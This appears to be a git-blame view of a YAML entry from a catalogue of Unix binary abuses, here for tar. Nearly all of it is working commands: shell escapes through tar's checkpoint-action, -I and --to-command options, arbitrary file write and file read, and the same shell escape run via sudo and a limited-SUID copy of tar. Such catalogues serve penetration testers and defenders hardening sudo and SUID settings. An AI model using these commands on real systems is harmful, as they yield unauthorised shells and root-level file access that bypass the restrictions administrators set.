2018-05-21 21:14:41 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
|
|
|
- description: This only works for GNU tar.
|
2018-10-21 11:56:24 +02:00
|
|
|
code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
|
2018-10-21 12:04:33 +02:00
|
|
|
- description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo '/bin/sh 0<&1' > "$TF"
|
|
|
|
tar cf "$TF.tar" "$TF"
|
|
|
|
tar xf "$TF.tar" --to-command sh
|
|
|
|
rm "$TF"*
|
2018-05-30 00:46:04 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: This only works for GNU tar.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
TF=$(mktemp)
|
2018-08-20 14:35:43 +02:00
|
|
|
echo DATA > "$TF"
|
2018-07-16 15:01:50 +02:00
|
|
|
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
|
2018-06-13 10:35:26 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: This only works for GNU tar.
|
|
|
|
code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
2018-10-05 19:55:38 +02:00
|
|
|
limited-suid:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
2018-05-25 00:57:42 +02:00
|
|
|
---
|